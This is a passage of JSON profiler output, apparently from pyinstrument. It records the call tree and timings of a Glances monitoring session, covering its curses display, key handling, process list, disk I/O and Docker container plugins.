0.001774,\"attributes\": {\"cProgramlistPlugin\": 0.0017742679992807098, \"l1130\": 0.0017742679992807098},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001774,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002017,\"attributes\": {\"cProgramlistPlugin\": 0.002017220998823177, \"l500\": 0.002017220998823177},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002017,\"attributes\": {\"l51\": 0.002017220998823177},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002017,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002017,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020029040024382994, \"l429\": 0.0020029040024382994},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020029040024382994, \"l282\": 0.0020029040024382994},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020029040024382994, \"l969\": 0.0020029040024382994},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001996746999793686, \"l309\": 0.001996746999793686},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001996746999793686, \"l874\": 0.001996746999793686},\"children\": [{\"identifier\": \"get_limit_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000993\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001996746999793686, \"l1001\": 0.001996746999793686},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001351000217255, \"l360\": 0.002001351000217255},\"children\": [{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000288004637696, \"l440\": 0.002000288004637696},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000288004637696, \"l290\": 0.002000288004637696},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000288004637696, \"l967\": 0.002000288004637696},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001973,\"attributes\": {\"cProcesslistPlugin\": 0.001973143997020088, \"l360\": 0.001973143997020088},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001973,\"attributes\": {\"cProcesslistPlugin\": 0.001973143997020088, \"l341\": 0.001973143997020088},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001973,\"attributes\": {\"cProcesslistPlugin\": 0.001973143997020088, \"l1130\": 0.001973143997020088},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001973,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002008,\"attributes\": {\"cProcesslistPlugin\": 0.002008150993788149, \"l325\": 0.002008150993788149},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002008,\"attributes\": {\"cProcesslistPlugin\": 0.002008150993788149, \"l882\": 0.002008150993788149},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002008,\"attributes\": {\"cProcesslistPlugin\": 0.002008150993788149, \"l902\": 0.002008150993788149},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002008,\"attributes\": {\"cGlancesThresholds\": 0.002008150993788149, \"l48\": 0.002008150993788149},\"children\": [{\"identifier\": \"str.capitalize\\u0000<built-in>\\u00000\",\"time\": 0.002008,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001905,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994369940832257, \"l361\": 0.0019994369940832257},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994369940832257, \"l350\": 0.0019994369940832257},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994369940832257, \"l1251\": 0.0019994369940832257},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001999,\"attributes\": {\"l478\": 0.0019994369940832257},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999659994908143, \"l360\": 0.001999659994908143},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999659994908143, \"l340\": 0.001999659994908143},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000057000259403, \"l397\": 0.002000057000259403},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002000,\"attributes\": {\"l96\": 0.002000057000259403},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.003999,\"attributes\": {\"cProcesslistPlugin\": 0.003999289001512807, \"l308\": 0.0019991200024378486, \"l309\": 0.0020001689990749583},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001689990749583, \"l856\": 0.0020001689990749583},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001689990749583, \"l963\": 0.0020001689990749583},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000257\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002001168999413494, \"l281\": 0.002001168999413494},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000642998609692, \"l845\": 0.002000642998609692},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000642998609692, \"l1094\": 0.002000642998609692},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.002000642998609692, \"l1041\": 0.002000642998609692},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101355,\"attributes\": {\"cGlancesCursesStandalone\": 0.10135478300071554, \"l291\": 0.10135478300071554},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101355,\"attributes\": {\"cGlancesCursesStandalone\": 0.10135478300071554, \"l260\": 0.10135478300071554},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101355,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101355,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100458,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045757600164507, \"l1202\": 0.10045757600164507},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100458,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100458,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100415,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041525199630996, \"l291\": 0.10041525199630996},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100415,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041525199630996, \"l260\": 0.10041525199630996},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100415,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100415,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100419,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004192519976641, \"l1202\": 0.1004192519976641},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100419,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100419,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100495,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049501300090924, \"l291\": 0.10049501300090924},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100495,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049501300090924, \"l260\": 0.10049501300090924},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100495,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100495,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100259,\"attributes\": {\"cGlancesCursesStandalone\": 0.10025855999992928, \"l1202\": 0.10025855999992928},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100259,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100259,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100322,\"attributes\": {\"cGlancesCursesStandalone\": 0.10032202400179813, \"l291\": 0.10032202400179813},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100322,\"attributes\": {\"cGlancesCursesStandalone\": 0.10032202400179813, \"l260\": 0.10032202400179813},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100322,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100322,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100397,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039661599876126, \"l1202\": 0.10039661599876126},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100397,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100397,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100378,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037781600112794, \"l291\": 0.10037781600112794},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100378,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037781600112794, \"l260\": 0.10037781600112794},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100378,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100378,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100376,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037638500216417, \"l1202\": 0.10037638500216417},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100376,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100376,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100596,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059592299512587, \"l291\": 0.10059592299512587},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100596,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059592299512587, \"l260\": 0.10059592299512587},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100596,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100596,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100481,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004808130019228, \"l1202\": 0.1004808130019228},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100481,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100481,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100583,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058318200026406, \"l291\": 0.10058318200026406},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100583,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058318200026406, \"l260\": 0.10058318200026406},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100583,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100583,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100490,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048988000198733, \"l1202\": 0.10048988000198733},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100490,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100490,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100313,\"attributes\": {\"cGlancesCursesStandalone\": 0.10031342600268545, \"l291\": 0.10031342600268545},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100313,\"attributes\": {\"cGlancesCursesStandalone\": 0.10031342600268545, \"l260\": 0.10031342600268545},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100313,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100313,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100424,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042418599914527, \"l1202\": 0.10042418599914527},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100424,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100424,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100530,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052965799695812, \"l291\": 0.10052965799695812},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100530,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052965799695812, \"l260\": 0.10052965799695812},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100530,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100530,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100462,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046231299929786, \"l1202\": 0.10046231299929786},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100462,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100462,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100487,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048719100450398, \"l291\": 0.10048719100450398},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100487,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048719100450398, \"l260\": 0.10048719100450398},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100487,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100487,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100284,\"attributes\": {\"cGlancesCursesStandalone\": 0.10028423099720385, \"l1202\": 0.10028423099720385},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100284,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100284,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.414586,\"attributes\": {\"cGlancesStats\": 0.41458609300025273, \"l287\": 0.41458609300025273},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.414586,\"attributes\": {\"cGlancesStats\": 0.41458609300025273, \"l575\": 0.41458609300025273},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.414586,\"attributes\": {\"l571\": 0.41458609300025273},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.414586,\"attributes\": {\"cGlancesStats\": 0.41458609300025273, \"l274\": 0.39455199200165225, \"l275\": 0.02003410099860048},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.074478,\"attributes\": {\"cDiskioPlugin\": 0.004481042000406887, \"l1278\": 0.07447774899628712, \"cContainersPlugin\": 0.0041222750005545095, \"cProcesscountPlugin\": 0.06587443199532572},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.074478,\"attributes\": {\"l1295\": 0.07447774899628712},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.004481,\"attributes\": {\"cDiskioPlugin\": 0.004481042000406887, \"l114\": 0.004481042000406887},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.004481,\"attributes\": {\"cDiskioPlugin\": 0.004481042000406887, \"l1351\": 0.0024961000017356128, \"l1365\": 0.0019849419986712746},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.002496,\"attributes\": {\"cDiskioPlugin\": 0.0024961000017356128, \"l148\": 0.0024961000017356128},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.002496,\"attributes\": {\"l2133\": 0.0024961000017356128},\"children\": [{\"identifier\": \"wrap_numbers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000654\",\"time\": 0.002496,\"attributes\": {\"l660\": 0.0024961000017356128},\"children\": [{\"identifier\": \"run\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000597\",\"time\": 0.002496,\"attributes\": {\"c_WrapNumbers\": 0.0024961000017356128, \"l629\": 0.0024961000017356128},\"children\": [{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002496,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002496,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001985,\"attributes\": {\"l131\": 0.0019849419986712746},\"children\": [{\"identifier\": \"_deepcopy_list\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000172\",\"time\": 0.001985,\"attributes\": {\"l177\": 0.0019849419986712746},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001985,\"attributes\": {\"l131\": 0.0019849419986712746},\"children\": [{\"identifier\": \"_deepcopy_dict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000198\",\"time\": 0.001985,\"attributes\": {\"l202\": 0.0019849419986712746},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001985,\"attributes\": {\"l119\": 0.0019849419986712746},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001985,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.004122,\"attributes\": {\"cContainersPlugin\": 0.0041222750005545095, \"l252\": 0.0041222750005545095},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.004122,\"attributes\": {\"l256\": 0.0041222750005545095},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.004122,\"attributes\": {\"l248\": 0.0041222750005545095},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.004122,\"attributes\": {\"cDockerExtension\": 0.0041222750005545095, \"l260\": 0.0041222750005545095},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.004122,\"attributes\": {\"cContainerCollection\": 0.0041222750005545095, \"l1009\": 0.0041222750005545095},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.004122,\"attributes\": {\"cAPIClient\": 0.0041222750005545095, \"l212\": 0.0041222750005545095},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.004122,\"attributes\": {\"cAPIClient\": 0.0041222750005545095, \"l44\": 0.0041222750005545095},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004122,\"attributes\": {\"cAPIClient\": 0.0041222750005545095, \"l246\": 0.0041222750005545095},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004122,\"attributes\": {\"cAPIClient\": 0.0041222750005545095, \"l602\": 0.0041222750005545095},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004122,\"attributes\": {\"cAPIClient\": 0.0041222750005545095, \"l575\": 0.0020039709997945465, \"l589\": 0.002118304000759963},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.002004,\"attributes\": {\"cAPIClient\": 0.0020039709997945465, \"l490\": 0.0020039709997945465},\"children\": [{\"identifier\": 